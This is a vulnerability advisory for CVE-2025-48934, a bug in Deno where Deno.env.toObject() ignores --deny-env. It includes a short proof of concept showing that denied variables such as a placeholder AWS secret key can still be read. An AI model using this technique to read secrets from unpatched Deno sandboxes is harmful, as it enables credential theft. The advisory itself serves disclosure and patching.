CVE-2025-48934
Deno.env.toObject() ignores the variables listed in --deny-env and returns all environment variables
Impact
### Summary The [Deno.env.toObject](https://docs.deno.com/api/deno/~/Deno.Env.toObject) method ignores any variables listed in the `--deny-env` option of the `deno run` command. When looking at the [documentation](https://docs.deno.com/runtime/fundamentals/security/#environment-variables) of the `--deny-env` option this might lead to a false impression that variables listed in the option are impossible to read. ### PoC ``` export AWS_SECRET_ACCESS_KEY=my-secret-aws-key # Works as expected. The program stops with a "NotCapable" error message echo 'console.log(Deno.env.get("AWS_SECRET_ACCESS_KEY"));' | deno run \ --allow-env \ --deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY - # All enviroment variables are printed and the --deny-env list is completely disregarded echo 'console.log(Deno.env.toObject());' | deno run \ --allow-env \ --deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY - ``` The first example using `get` exits with the following error: ``` error: Uncaught (in promise) NotCapable: Requires env access to "AWS_SECRET_ACCESS_KEY", run again with the --allow-env flag console.log(Deno.env.get("AWS_SECRET_ACCESS_KEY")); ^ at Object.getEnv [as get] (ext:deno_os/30_os.js:124:10) at file:///$deno$stdin.mts:1:22 ``` The second example using `toObject` prints all environment variables: ``` [Object: null prototype] { ... AWS_SECRET_ACCESS_KEY: "my-secret-aws-key", ... } ``` ### Impact Software relying on the combination of both flags to allow access to most environment variables except a few sensitive ones will be vulnerable to malicious code trying to steal secrets using the Deno.env.toObject() method.
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| rust | deno | < 2.1.13 | 2.1.13 |
| rust | deno_runtime | < 0.212.0 | 0.212.0 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Deno | Deno | before 2.1.13 from 2.2.0 before 2.2.13 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://docs.deno.com/api/deno/~/Deno.Env.toObject
- https://docs.deno.com/runtime/fundamentals/security/#environment-variables
- https://github.com/denoland/deno/commit/2959e083912420988066a001c2b2d6732a1b562f
- https://github.com/denoland/deno/commit/946ccda1aa19a00c478a5e6826b75053b050d753
- https://github.com/denoland/deno/pull/29079
- https://github.com/denoland/deno/security/advisories/GHSA-7w8p-chxq-2789
- https://github.com/advisories/GHSA-7w8p-chxq-2789
- https://nvd.nist.gov/vuln/detail/CVE-2025-48934